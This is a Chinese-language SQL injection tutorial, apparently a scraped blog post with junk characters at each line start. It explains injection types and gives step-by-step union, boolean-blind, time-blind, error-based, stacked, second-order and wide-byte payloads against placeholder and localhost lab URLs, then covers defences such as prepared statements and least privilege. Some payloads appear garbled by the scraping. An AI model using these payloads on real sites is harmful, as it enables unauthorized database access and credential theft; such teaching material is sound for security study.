|
! \/ v: m/ K4 ]5 P/ z8 d
目录：sql注入原理sql注入的类型介绍sql漏洞探测方法sql注入实例sql注入绕过如何正确的防御sql注入写在前面：本篇文章将带大家详细了解Web漏洞之SQL注入，文章内容较长，请内心阅读后面会持续更新Web漏洞系列文章，之前的黑客工具教程文章也会持续更新，感兴趣的可以关注我！。
* |# ~! V0 s! x* r 黑客学习资源点我主页详细资料一、sql注入原理SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断，前端传入的参数是攻击者可以控制，并且参数带入数据库的查询，攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。 ' g) r! A" H; S
举例说明： id=GET[‘id’] sql=SELECT * FROM users WHERE id=id LIMIT 0,11 、SQL 注入漏洞产生的条件 A:参数用户可控：前端传入的参数内容由用户控制 B:参数带入数据库的查询：传入的参数拼接到 SQL 语句，并且带入数据库的查询 0 b! J5 k9 b" u; ]) ~
2、关于数据库在 MySQL5.0 版本后，MySQL 默认在数据库中存放一个information_schema的数据库，在该库中，我们需要记住三个表名，分别是 schemata，tables，columns。 / ?) Y+ @1 I. A) s
Schemata 表存储的是该用户创建的所有数据库的库名，需要记住该表中记录数据库名的字段名为 schema_nameTables 表存储该用户创建的所有数据库的库名和表名，要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name.。
8 f. b1 ^ N- [( i, H9 j5 C Columns 表存储该用户创建的所有数据库的库名、表名、字段名，要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name1. 数据库查询语句：。
& u6 T' a0 T& R% c6 F 数据库查询语句如下： 想要查询的值 A= select 所属字段名 A from 所属表名 where 对应字段名 B=值 B关于几个表的一些语法：// 通过这条语句可以得到所有的数据库名select schema_name from information_schema.schemata limit 0,1
R8 }/ _1 T3 f; B' t4 C // 通过这条语句可以得到所有的数据表名select table_name from information_schema.tables limit 0,1// 通过这条语句可以得到指定security数据库中的所有表名
1 i' ~5 ]/ ^8 o2 x select table_name from information_schema.tables where table_schema=securitylimit 0,1// 通过这条语句可以得到所有的列名
7 P0 D P! e$ k! f+ j' R select column_name from information_schema.columns limit 0,1// 通过这条语句可以得到指定数据库security中的数据表users的所有列名 5 u K( n0 T; X/ `$ K
select column_name from information_schema.columns where table_schema=security and table_name=users limit 0,1 0 Y3 f* s% ~3 _" o m
//通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据，因为处于当前数据库下的话不能查询其他数据库内的数据)select password from users limit 0,1
* W0 T# }7 F& ?. x" [+ T 2.Limit 的用法 Limit 的使用格式是 limit m,n,其中 m 指的是记录开始的位置，从 m=0 开始，表示第一条记录； n 是指取几条记录3.需要记住的几个函数a) Version()；当前 mysql 的版本。 0 r6 v( O* f0 L; i! u. P5 M
b) Database();当前网站使用的数据库c) User();当前 MySQL 的用户d) system_user(); 系统用户名e）session_user();连接数据库的用户名f)current_user;当前用户名 / z4 x6 s/ G5 M$ e( m/ ^
g)load_file();读取本地文件h)length(str) : 返回给定字符串的长度，如 length(“string”)=6i)substr(string,start,length) : 对于给定字符串string，从start位开始截取，截取length长度 ,如 substr(“chinese”,3,2)=“in”
3 G E# _& y! Z. H! ~ substr()、stbstring()、mid() 三个函数的用法、功能均一致j)concat(username)：将查询到的username连在一起，默认用逗号分隔concat(str1,’’,str2)：将字符串str1和str2的数据查询到一起，中间用连接 8 W9 a# B' U5 |
group_concat(username) ：将username数据查询在一起，用逗号连接4.注释符号 三种注释符号： i. 1. #ii. 2. --空格 空格可以使用+代替 （url 编码%23 表示注释） 4 x* A- N8 B# s2 T& i1 `( H F0 n
iii. 3. /**/sql注入漏洞攻击流程：注入点探测—信息获取—获取权限二、 sql注入的类型介绍按照注入点类型来分类1.数字型注入点类似结构 http://xxx.com/users.php?id=1 4 q9 g( I# @/ m4 `: e+ Y+ y2 a
基于此种形式的注入，一般被叫做数字型注入点，缘由是其注入点 id 类型为数字，在大多数的网页中，诸如 查看用户个人信息，查看文章等，大都会使用这种形式的结构传递id等信息，交给后端，查询出数据库中对应的信息，返回给前台。 @( p0 ^2 k) ]! w* X1 ]0 n2 l$ K6 a a
这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where id=1 and 1=1
/ K6 `" B6 X8 \ n4 Y 2.字符型注入点类似结构 http://xxx.com/users.php?name=admin 这种形式，其注入点 name 类型为字符类型，所以叫字符型注入点这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’ 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号，可以是单引号或者是双引号。 ( J \7 F+ w) r% Q( U, v
若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：select * from 表名 where name=admin and 1=1 我们需要将这些烦人的引号给处理掉3.搜索型注入点这是一类特殊的注入类型。
- z& w2 U# w( p- ~9 o 这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面，而是直接通过搜索框表单提交此类注入点提交的 SQL 语句，其原形大致为：select * from 表名 where 字段 like ‘%关键字%’ 若存在注入，我们可以构造出类似与如下的sql注入语句进行爆破：。
: v7 f- F4 }/ g. N7 y( A% g7 R! y& k select * from 表名 where 字段 like %测试% and %1%=%1%按照数据提交的方式来分类1.GET 注入提交数据的方式是 GET , 注入点的位置在 GET 参数部分比如有这样的一个链接。
: T$ M: N0 G+ D/ N% h http://xxx.com/news.php?id=1 , id 是注入点2.POST 注入使用 POST 方式提交数据，注入点位置在 POST 数据部分，常发生在表单中3.Cookie 注入HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
+ O; e9 @# T3 R1 q; N x c) q9 J 4.HTTP 头部注入注入点在 HTTP 请求头部的某个字段中比如存在 User-Agent 字段中严格讲的话，Cookie 其实应该也是算头部注入的一种形式因为在 HTTP 请求的时候，Cookie 是头部的一个字段。
* f( k- n/ q# Z6 [9 r8 L S 按照执行效果来分类1.基于布尔的盲注即可以根据返回页面判断条件真假的注入2.基于时间的盲注即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断3.基于报错注入。 ; e' h- O U5 g/ V
即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中单引号双引号基于数字型注入4.联合查询注入可以使用union的情况下的注入5.堆查询注入可以同时执行多条语句的执行时的注入6.宽字节注入宽字节注入主要是源于程序员设置数据库编码与 php 编码设置为不同的两个编码，这样就可能会产 生宽字节注入。 + ]& B% y w, K* a& [- z4 p
GBK 占用两字节，ASCII 占用一字节PHP 中编码为 GBK，函数执行添加的是 ASCII 编码（添加的符号为‚\‛），MYSQL 默认字符集是 GBK 等宽字节字符集 输入%df%27,本来\ 会转义%27（’），但\（其中\的十六进制是 %5C）的编码位数为 92，%df 的 编码位数为 223，%df%5c 符合 gbk 取值范围（第一个字节 129-254，第二个字节 64-254），会解析 为一个汉字‚運‛，这样\就会失去应有的作用。
' ^' L* z( {8 Q4 D! E/ t' l 三、sql漏洞探测方法一般来说，SQL 注入一般存在于形如：http://xxx.xxx.xxx/abc.asp?id=XX 等带有参数的 ASP 动态网页中，有时一个动态网页中可能只有一个参数，有时可能有 N 个参数，有时是整型参数，有时是字符串型参数，不能一概而论。
' {+ @8 m; c' c/ \ 总之只要是带有参数的动态网页并且该网页访问了数据库，那么就有可能存在 SQL 注入先加单引号’、双引号"、等看看是否报错，如果报错就可能存在SQL注入漏洞了还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样，显示不一样的话，肯定存在SQL注入漏洞了。 2 ^% D9 e0 a3 _1 y0 Y1 e" ?- m
还有就是Timing Attack测试，也就是时间盲注通过简单的条件语句比如 and 1=2 是无法看出异常的在MySQL中，有一个Benchmark() 函数，它是用于测试性能的 Benchmark(count,expr) ，这个函数执行的结果，是将表达式 expr 执行 count 次 。 ) A. d$ @7 |% ^: f- C. J# _
因此，利用benchmark函数，可以让同一个函数执行若干次，使得结果返回的时间比平时要长，通过时间长短的变化，可以判断注入语句是否执行成功四、sql注入实例1、union联合查询 union联合、合并：将多条查询语句的结果合并成一个结果，union 注入攻击为一种手工测试。
* n6 u4 v' r3 f( R' ^* f# e 6 N S/ s. a" K/ X, P% |% s0 s
注入思路：0 E. Z6 i, K! o; Y$ g
A:判断是否存在注入点http://xxxxxxxxx?id=1" }6 k( d- I# f1 b' J
1 异常 1 and 1=1 返回结果和 id=1 一样
6 Y" h4 F& T6 `& ]/ | 1 and 1=2 异常
" b/ k Y; u% z 从而则一定存在 SQL 注入漏洞
{+ t. H: {; X) `. z/ r B rder by 1-99 语句来查询该数据表的字段数
; ^) s' a( i5 P N0 E# o) Q5 g) L C:利用获得的列数使用联合查询，union select 与前面的字段数一样. |7 _6 Q& H/ m$ U4 n
找到了数据呈现的位置http://xxxxxxx?id=1 union select 1,2,3,4,5,6
$ K7 s9 N4 n7 t D:根据显示内容确定查询语句的位置，利用 information_schema$ j) j6 S" `( o9 K* i
依次进行查询 schemata， tables，columns
* g+ P6 S" ]& ^* c/ U; l E:已知库名、表名和字段名，接下来就爆数据。
+ X9 w t- F6 } Y$ l 2、boolean注入 判断方式：
4 a) _3 G, E: S; }. E5 j 通过长度判断 length(): length(database())>=x
+ g, L) F( i* H* [( N$ J+ B 通过字符判断 substr():substr(database() ,1,1)= s
: t" L- t" o5 i+ G$ F" Z$ M+ K 通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
9 R: ^7 r6 E E( n 注入漏洞判断：
2 c5 Z* W! i$ Z* M. D' \ 1.id=1 报错) k1 b+ ~# x( x& Q
2.id=1 and 1=1 结果和 id=1 一样9 h( K9 l7 s( z, k
3.id=1 and 1=2 结果异常
' a# z, b6 ^8 p0 J# [ 攻击实战：Boolean 注入是指构造 SQL 判断语句，通过查看页面的返回结果来推测哪些 SQL 判断条件是成立的，以此来获取数据库中的数据 A:判断数据库名的长度 http://xxxxxx?id=1 and length(database())>=1--+ 从而判 断数据库名的长度为 42 d7 C: P. t- N0 c# p
B:判断数据库名 Substr() 数据库库名 a~z,0~9 ‘and substr(database(),1,1)--+
7 C6 X+ E" m5 a J5 h% `) V* A! [6 z C:Burp 判断数据库名 http://xxxxxxxx?id=1 and substr(database(),1,1)=a--+ 逐字判断数据库名为 test，test 数据库名
: X X+ z) `- J; K: V3 _8 f D:Burpsuite 爆破数据库的表名 http://xxxxxx?id=1 and substr((select table_name from information_schema.tables where table_schema=test limit 0,1),1,1)=a--+ person users xss //三个表; y% `7 [) P+ R- N6 T8 d
E:Burp 爆字段名 http://xxxxxxxx?id=1 and substr((select column_name from information_schema.columns where table_schema=test and table_name=users limit 0,1),1,1)=a--+ id username password 等" z! A) I- r8 M$ c6 C3 E0 P1 m6 N
F:获取数据 http://xxxxx?id=1 and substr((select username from test.users limit 0,1),1,1)=a--+ 。
) Q; I/ c6 L* t0 q. \6 m 3、报错注入在 MYSQL 中使用一些指定的函数来制造报错，后台没有屏蔽数据库报错信息，在语法发生错 误时会输出在前端，从而从报错信息中获取设定的信息select/insert/update/delete 都 可以使用报错来获取信息。
/ ~8 D2 F _# A) P. B8 ~7 p 常用的爆错函数 updatexml()，extractvalue()，floor() ,exp()payload语法：updatexml(xml_document,Xpathstring,new_value)* w; d3 [+ r# o- J
payload1：updatexml(1,concat(0x7e,(select database()),0x7e),1)
. }7 b+ o6 R$ v5 ]/ c7 I payload2：extractvalue(1,concat(0x7e,(select database())))
6 |8 C6 U+ T; b' s( h payload3：(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# + D0 U6 e% _% Q
攻击实战：A:注入点探测及类型 a’制作报错,字符型/ @$ r m5 r5 q) Z. I7 Q
B：利用函数 updatexml()获取数据库名 http://xxxxx?username=a and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+2 I1 z, l3 r: D% K) y& Z' b
C：利用函数 updatexml()获取表名 http://xxxxxxx?username=a and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=test),0x7e),1)--+
6 u' S. |% f& Z R4 Z: _ F1 f: u3 t D：利用函数 updatexml()获取字段名 http://xxxxxxx?username=a and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=test and table_name=users),0x7e),1)--+
# `0 Y+ W! j5 [" O; } E：利用函数 updatexml()获取值 http://xxxxxxx?username=a and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+ : T# \8 A: Q+ N% o X
4、时间盲注代码存在 sql 注入漏洞，然而页面既不会回显数据，也不会回显错误信息，语句执行后也 不提示真假，我们不能通过页面的内容来判断这里我们可以通过构造语句，通过页面响应的 时长，来判断信息，这既是时间盲注。 - V) t5 ^4 m# D( D' @. _6 \
原理：利用 sleep()或 benchmark()等函数让 mysql 执行时间变长经常与 if(expr1,expr2,expr3) 语句结合使用，通过页面的响应时间来判断条件是否正确if(expr1,expr2,expr3)含义是如果 expr1 是 True,则返回 expr2,否则返回 expr3。
% b" G: N* J7 b- v( `8 }+ W 特点：通过时间回显的延迟作为判断 payload=1’ and sleep(5)–+ 有延迟则考虑时间盲注利用 sleep()或 benchmark()函数延长 mysql 的执行时间与 if()搭配使用 2 W8 J; i0 C! t, L3 \! t
常用函数： left(m,n) --从左向右截取字符串 m 返回其前 n 位 substr(m,1,1) --取字符串 m 的左边第一位起，1 字长的字符串 ascii(m) --返回字符 m 的 ASCII 码
# O; J7 h1 U6 t2 V base64(m)—返回字符 m 的 base64 编码 • if(str1,str2,str3)–如果 str1 正确就执行 str2，否则执行 str3sleep(m)–使程序暂停 m 秒 length(m) --返回字符串 m 的长度 # [8 T- e2 n# n* z
count(column_name) --返回指定列的值的数目payload:if(expr1,expr2,expr3) 语义解析 ：对 expr1 进行布尔判断，如果为真，则执行 expr2,如果为假，则执行 expr3 常用 payload： If(length(database())>1,sleep(5),1) 如果数据库名字符长度大于 1 为真，mysql 休眠 5 秒，如果为假则查询 1。 # R6 l' \9 n# V
而查询 1 的结果，大约只有几十毫秒，根据 Burp Suite 中页面的响应 时间，可以判断条件是否正确攻击实战：判断数据库名的长度% i+ w4 w; t5 C# h3 X
http://xxxxxx?id=1 and if(length(database())>=6,sleep(5),1)8 _% G: z4 a1 @4 K. E% E! J! p
爆库名
) n6 W! n# F& W7 n; q http://xxxxxxx?id=1 and if(substr(database(),1,1)=a,sleep(5),1) 数据库名为 test
5 J$ f& i" B5 b7 P6 g. T. W 爆表名' a A5 ^1 }6 z, r* J' P
http://xxxxxxx?id=1 and if(substr((select table_name from information_schema.tables where table_schema=test limit 0,1),1,1)=a,sleep(5),1) 表名
. _( ^4 ~) {: X9 U 爆字段
% J/ g7 r$ K) b- s+ l1 y8 i http://xxxxxxx?id=1 and if(substr((select column_name from information_schema.columns where table_schema=test and table_name=users limit 0,1),1,1)=a,sleep(5),1)3 T! R1 I3 V }' }+ _- `
爆数据+ [( I, r9 B. _1 q2 ^7 l
http://xxxxxxxxxx?id=1 and if(substr(select username from test.users limit 0,1),1,1)=a,sleep(5),1) 由于数据库名的范围一般在 a~z,0~9，特殊字符，大小写等
0 h1 ?; i6 o/ F! `( K 5、堆叠查询注入Stacked injections:堆叠注入从名词的含义就可以看到应该是一堆 sql 语句（多条） 一起执行而在真实的运用中也是这样的，在 mysql 中，主要是命令行中，每一 条语句结尾加 ;表示语句结束。 4 b; Y: q4 g! h& V5 y" c5 H
这样我们就想到了多条语句一起使用使用条件堆叠注入的使用条件十分有限，其可能受到 API 或者数据库引擎，又或者权限的限制只有 当调用数据库函数支持执行多条 sql 语句时才能够使用，利用 mysqli_multi_query()函数就支持多条 sql 语句同时执行，但实际情况中，如 PHP 为了防止 sql 注入机制，往往使用调用数据库的函数是 mysqli_ query()函数，其只能执行一条语句，分号后面的内容将不会被执行，所 以可以说堆叠注入的使用条件十分有限，一旦能够被使用，将可能对网站造成十分大的威胁。
* b/ K ?% K3 s3 q4 ^/ o+ ~; b 攻击构造正常 sql 语句：Select * from users where id=’1’’;注入 sql 语 句 ： Select * from users where id=’1’;select if(length(database())>5,sleep(5),1)%23; Payload= ‘;select if(length(database())>5,sleep(5),1)%23 Payload= ‘;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 如此句：从堆叠注 入语句中可以看出，第二条 SQL 语句(select if(substr(user(),1,1)=‘r’,sleep(3),1)%23 就是时间盲注的语句。
9 b" V9 L# O& Y$ b8 j2 y, q' ^ 堆叠注入和 union 的区别在于，union后只能跟 select，而堆叠后面可以使用 insert，update，create，delete 等常规数据库语句攻击实例 爆库名：test http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr(database(),1,1)=a,sleep(5),1)6 T+ O: `8 b8 H$ Y( m( O
爆表名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select table_name from information_schema.tables where table_schema=test limit 0,1),1,1)=a,sleep(5),1)
5 X/ x2 ]! w$ q6 y4 F J0 c 爆字段名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select column_name from information_schema.columns where table_schema=test where table_name=user limit 0,1),1,1)=a,sleep(5),1)
/ p+ {6 |* ]6 d2 e E4 P/ V i 爆值 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select username from test.users limit 0,1),1,1)=a,sleep(5),1) 。 / x3 i3 X) w. t' n# y
6、二次注入二次注入可以理解为，攻击者构造的恶意数据存储在数据库后，恶意数据被读取并进入到 SQL 查询语句所导致的注入防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义 处理，但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中，当 Web 程序调 用存储在数据库中的恶意数据并执行 SQL 查询时，就发生了 SQL 二次注入。
+ g) M& g- p9 z) F, d 两个条件进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原 来的数据开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没 有进行进一步的检验的处理。
7 S( W% s, z6 l7 x4 m 攻击实例练习地址：http://sqli/Less-24 知道用户 Admin 但是不知道密码
2 S6 |2 ]$ _4 b; Z1 P 注册一个 admin’#用户
: v5 n- z* T4 r; L$ r5 L( h 修改 admin’#的密码! l9 d1 K% ?+ `8 j- d* ^; e5 z
Update users set password=’new_pass’where username=’admin’#’and password=’123456’5 |5 |% H& f1 ]' f
实际上 Update users set password=’new_pass’where username=’admin’
: s! ^9 j1 z/ @: ] 7、宽字节注入宽字节注入主要是源于程序员设置数据库编码与 php 编码设置为不同的两个编码，这样就可能会产 生宽字节注入GBK 占用两字节，ASCII 占用一字节PHP 中编码为 GBK，函数执行添加的是 ASCII 编码（添加的符号为‚\‛），MYSQL 默认字符集是 GBK 等宽字节字符集。
6 h: D8 e6 r/ x. v 输入%df%27,本来\ 会转义%27（’），但\（其中\的十六进制是 %5C）的编码位数为 92，%df 的 编码位数为 223，%df%5c 符合 gbk 取值范围（第一个字节 129-254，第二个字节 64-254），会解析 为一个汉字‚運‛，这样\就会是去应有的作用。
+ v1 V5 ]; _% A: ? id=1’ id=1%df%5c’攻击实例127.0.0.1/web/sql/kuanzifu.php?id=1 Z& q. ]/ k7 g, ], ~) ~; ], B
127.0.0.1/web/sql/kuanzifu.php?id=1’
7 U" m3 [! H# U$ ] 127.0.0.1/web/sql/kuanzifu.php?id=1%df’* s1 t& m5 `7 K7 F
从返回的结果可以看出，参数 id=1 在数据库查询是被单引号包围的。 " R U8 U& I7 s$ l3 E6 ?0 N8 B
当传入参数 id=1’时， 传入的单引号又被转义符（反斜线）转义，导致参数 ID 无法逃逸单引号的包围，所以在一般情况下， 此处是不存在 SQL 注入漏洞的不过有一个特例，就是当数据库的编码为 GBK 时，可以使用宽字节 注入，宽字节的格式是在地址后先加一个%df,再加单引号，因为反斜杠的编码为%5c,而在 GBK 编码 中，%df%5c 是繁体字連，所以这时，单引号成功逃逸，爆出 Mysql 数据库错误。 + ?1 `% a# ^% M4 U! f
' J- ]. k, B9 X
%df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運
( T3 d& E2 n% G3 t$ ~- E* h5 d$ c $sql="SELECT * FROM users WHERE id=1 運 LIMIT 0,1"; #成功将单引号闭合，可以进行 SQL 注入。 ; B6 M! h, L: I
( V. N8 z' U, B. r- O 判断数据库表有 6 个字段数 http://127.0.0.1/web/sql/kuanzifu.php?id=1%df%27%20order%20by%207--+
, x$ c' B7 b4 I x: V http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df%27%20union%20select%201,2,3,4,5,6--+
% U. q" h/ T; o5 p 爆库名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df%27%20union%20select%201,2,3,(databas e()),5,6--+2 E% y% K$ ?' _ w
爆表名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),5,6%23
6 x% x9 S! V" L( c6 {' W$ T! Z 爆字段名 http://127.0.0.1/web/sql/kuanzifu.php?id=-1%df union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 1,1)),5,6%23 。 . ~4 p" _7 D/ Z! s/ T, o
五、sql注入绕过六、如何正确的防御sql注入既然sql注入的危害如此之大，我们应该怎么正确的防御呢？从防御的角度来看，要做的事情有两件：找到所有的sql注入漏洞修补这些漏洞sql注入的防御并不是一件简单的事情，之前我也上网查资料，大多数采取的办法也是最简单粗暴的办法就是 对用户的输入做一些escape处理，但这是不够的。 + t# ^6 N7 M3 W, R2 x- k
这种基于黑名单的方法或多或少都存在一些问题（在sql保留字中，用户提交的正常数据也有可能会使用这些单词，从而对用户的正常数据进行了误杀）那么该如何正确的防御呢？1.使用预编译语句，绑定变量使用预编译的sql语句，sql语句的语意不会发生改变。 ' ?! P( ?1 ^* n' P
在sql语句中，变量用？表示，攻击者无法改变sql语句的结构2.使用存储过程使用存储过程的效果和使用预编译语句类似，其区别就是存储过程需要先将sql语句定义在数据库中但需要注意的是，存储过程也可能存在注入问题，因此应该尽量避免在存储过程内使用动态的sql语句。
9 Z) B# L& o; A2 J- L 3.检查数据类型检查数据的输入类型，在很大程度上可以对抗sql注入比如用户在输入邮箱时，必须严格按照邮箱的格式；输入时间、日期时，必须严格按照时间、日期的格式等等，都能避免用户数据造成破坏但数据类型检查并非万能的，如果需求就是需要用户提交字符串，比如一段短文，则需要依赖其他的方法防范sql注入。
5 _6 ?( Y; k5 R. Q, f1 G E 4.使用安全函数一般来说，各种web语言都实现了一些编码函数，可以帮助对抗sql注入数据库厂商也对安全的编码函数做了“指导”最后呢，从数据库自身的角度来说，应该使用最小权限远侧，避免web应用直接使用root、dbowner等高权限账户直接连接数据库。
# K8 L; Z* C# y7 w9 B 如果有多个不同的应用在使用同一个数据库，则也应该为每个应用分配不同的账户web应用使用的数据库账户，不应该有创建自定义函数、操作本地文件的权限 总结一下，注入攻击就是应用违背了“数据与代码分离原则”导致的结果。
: E3 k7 d2 E7 p) R! e* p 再次强调两个条件：a：用户能够控制数据的输入；b：代码拼凑了用户输入的数据，把数据当做代码执行了在对抗注入攻击的时候，要牢记“数据与代码分离原则”，在“拼凑”发生的地方进行安全检查，就能避免此类问题
& J) X: T; j! k5 M
6 W2 H Z% X" {( T2 c# i# i
1 L4 x' m1 b) C: b9 X& G- U" R+ \( H9 e2 _# U% X$ r* l
) G- D; ^6 t& i% e \1 P# [0 E | 
